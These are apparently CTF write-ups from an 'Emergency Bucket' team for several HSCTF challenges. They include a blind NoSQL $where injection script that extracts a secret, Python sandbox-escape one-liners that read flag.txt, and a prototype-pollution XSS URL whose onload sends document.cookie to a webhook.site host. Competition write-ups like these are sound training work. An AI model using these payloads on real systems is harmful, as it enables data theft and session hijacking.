Emergency Bucket

Writeups from the Emergency Bucket team

flag-shop

Description

hsctf p2w confirmed?

Files: flag-shop.zip

Solution

Looking through the source you could inject javascript into the query which would help you find the flag:

"$where": f"this.challenge.includes('{request.json['search']}')"

The method I used was comparing the char values and use binary search to quicky find the flag:

import requests
import time

url = 'http://flag-shop.hsctf.com/api/search'

headers = {'Content-type': 'application/json'}

current = ""

def check(req):
        return len(req.json()['results']) > 0 and {"challenge": "flag-shop", "price": 10} in req.json()['results']

def checkAndReduce(x,y,index):
        print(x,y)

        if x==y:
                return chr(int(x))

        mid = (y-x)/2

        if not int(mid)==mid:
                mid = mid - 0.5

        start1 = x
        end1 = x + mid
        start2 = end1+1
        end2 = y

        req = requests.post(url, json={'search': f"') && (this.flag.charCodeAt({index})>={start1} && this.flag.charCodeAt({index})<={end1} && '1' == '1"})

        if check(req):
                return checkAndReduce(start1,end1,index)

        req = requests.post(url, json={'search': f"') && (this.flag.charCodeAt({index})>={start2} && this.flag.charCodeAt({index})<={end2} && '1' == '1"})

        return checkAndReduce(start2,end2,index)

arr = []

for i in range(28):
        arr.append(checkAndReduce(33,126,i))
        print(arr)

This will eventually output:

['f', 'l', 'a', 'g', '{', 'h', 's', 'c', 't', 'f', '_', 'g', 'a', 'c', 'h', 'a', '_', 'g', 'a', 'm', 'e', '_', 'w', 'h', 'e', 'n', '?', '}']

Which is:


# Bank

## Description

``nc bank.hsctf.com 1337``

File: [Bank.pdf](https://hsctf-10-resources.storage.googleapis.com/uploads/e897a468fea4fcaa4b7bb12e5ff30f3cfe3668e43e494519fb44a9f30f345c9b/Bank.pdf)

## Solution

My solution was to recursively find available accounts to hack by finding the account with the closest end time that was atleast 10 minutes away from the current time:

```python
from pwn import *

io = remote('bank.hsctf.com', 1337)

for i in range(5):
        num = int(io.recvline().decode('utf-8'))

        accounts = []

        for x in range(num):
                data = io.recvline().decode('utf-8').split(' ')
                accounts.append([int(c) for c in data])

        print(accounts)

        hacked = 0

        time = 0

        while True:
                first = [10000000,10000000000]

                for c in accounts:
                        if c[1] < first[1]:
                                if time + 10 <= c[1]:
                                        first=c

                if first == [10000000,10000000000]:
                        break

                if time < first[0]:
                        time = first[0]+10
                else:
                        time = time + 10

                hacked = hacked + 1

                print(type(accounts),type(first))

                accounts.remove(first)

        print("Got Here", hacked)

        io.sendline(str(hacked))


print(io.recvline())

The script will print: flag{gr33dy_4lg0r1thm_048cc38517} along with some debug info

producing-3s

Description

nc producing-3s.hsctf.com 1337

File: producing-3s.pdf

Solution

This challenge seemed easier than banks for me. First I took all numbers and just took the ones digit since other digits don’t affect the ones digit in multiplication. I then Ignored all multiples of 2 and 5 since multiplying them by any number can never get 3 in the ones digit. I then setup a test case for 1,3,7,9:

from pwn import *
import time


io = remote('producing-3s.hsctf.com', 1337)

cases = int(io.recvline().decode('utf-8'))

# cases = 1

for i in range(cases):
#       time.sleep(1)
        inp = io.recvline().decode('utf-8')

        print(inp)

        nums = int(inp)

        sent = io.recvline().decode('utf-8').split(' ')
        sent.pop()

        data = [abs(int(c))%10 for c in sent]

        print(data)

        # Filters
        out = ['N' if c%2==0 or c%5==0 else c for c in data]

        # print(data)

        for i in range(nums):
                if data[i]==3:
                        out[i]='Y'
                if data[i]==1:
                        if 'Y' in out[0:i]:
                                out[i]='Y'
                if data[i]==9:
                        if 7 in data[0:i]:
                                out[i]='Y'
                        elif data[0:i].count(3) >= 3:
                                out[i]='Y'
                        elif 9 in data[0:i] and 3 in data[0:i]:
                                out[i]='Y'
                if data[i]==7:
                        if 9 in data[0:i]:
                                out[i]='Y'
                        elif data[0:i].count(3) >= 2:
                                out[i]='Y'
                        elif data[0:i].count(7) >= 2:
                                out[i]='Y'
                if isinstance(out[i], int):
                        out[i]='N'

        # print(out)

        print(''.join(out))

        io.sendline(''.join(out))


print(io.recvline())
print(io.recvline())
io.interactive()

This script gets the flag: flag{n1c3_w0rk_8329} along with LOTS of debug info

west-side-story

Description

Now with all of your favorite songs!

http://west-side-story.hsctf.com

File: west-side-story.zip

Solution

Mariadb and python have different methods of parsing JSON. By including two admin keys and setting the first one to true and the second one to false, the python check will pass since it reads the second key while mariadb will store the admin as being true since it uses the first key.

Flag: flag{imagine_not_fixing_a_bug_mysql_fixed_five_years_ago}

vulpes-vulpes

Description

The red fox (Vulpes vulpes) is the largest of the true foxes and one of the most widely distributed members of the order Carnivora, being present across the entire Northern Hemisphere including most of North America, Europe and Asia, plus parts of North Africa. It is listed as least concern by the IUCN. Its range has increased alongside human expansion, having been introduced to Australia, where it is considered harmful to native mammals and bird populations. Due to its presence in Australia, it is included on the list of the "world's 100 worst invasive species".

File: vulpes-vulpes.zip

Solution

The description references FireFox and the file provided is a firefox profile folder. By setting your FireFox profile to it then restoring session history a website where you store secrets appears. In the extensions menu there is a Tampermonkey script that will fill the password for you automatically. Using that you find the flag: flag{dunning_kruger?_is_that_some_kind_of_bird?}

fast-forward

Description

Everyone always says Python is too slow—so let's speed it up!

nc fast-forward.hsctf.com 1337

File: main.py

Solution

The pyjail removes some builtins and also prevents using atttributes where the attribute name length is greater than 5 characters. The solution uses the vars method to iterate through dictionaries and call methods using that. The license method allows you to print files if your overwrite the filename and then reset the object.

> vars(vars()["license"])["_Printer__lines"]=None
> print(vars(vars()["license"])["_Printer__lines"])
> vars(vars()["license"])["_Printer__filenames"]=["flag.txt"]
> print(vars()["license"]())

Flag: flag{it_would_be_a_shame_if_there_were_a_bunch_of_numbers_at_the_end_2846880189}

fast-forward-v2

Description

I made Python even faster than before!

nc fast-forward-v2.hsctf.com 1337

File: main.py

Solution

This pyjail is a bit more complicated. It removes all globals with a length greater than 4 and prevents any attributes length greater than 4. Thankfully we can call both vars and type. By using the type method __subclasses__ on the base object class we can get all classes including a printer class. By creating this class and then the print method we can print the flag (use the exit method to get content):

exit(vars(vars(type)["__subclasses__"](type.mro(type({}))[1])[99])['get_data'](vars(type)["__subclasses__"](type.mro(type({}))[1])[99]('flag.txt','./'),'flag.txt'))

flag{one_day_i_will_write_a_pyjail_without_unintended_solutions_3421670241}

fancier-page

Description

http://fancier-page.hsctf.com

File: fancier-page.zip

Solution

The page uses two packages arg.js and insane both which have security vulnerabilities. Use this we can pollute the base prototype and add properties too it. This won’t let us add elements to the allowedTags array because prototype can’t change arrays, but we can add elements to the allowedAttributes element. We can create an element img with a string value. Looking at the insane source code we see that the two methods called on the img element value will be concat and indexOf. Both of these methods are present on strings so we can use that. Making the string value equal to idonloadsrc we can use attributes id, onload, and src. The final url will be:

http://fancier-page.hsctf.com/display.html?content=%3Cimg%20id%3D%22test%22%20src%3D%22https%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fen%2Fa%2Fa9%2FExample.jpg%22%20onload%3D%22fetch(%27https%3A%2F%2Fwebhook.site%2F359d48f7-538e-4150-bb48-e961695ba4ad%3F%27%2Bdocument.cookie)%22%3E&background_color=%23ffffff&color=%23000000&font=Helvetica&font_size=16#__proto__[img]=idsrconload

Using webhook.site you can handle network requests and get the flag: flag{prototype_pollution_kills_thousands_of_websites_each_year}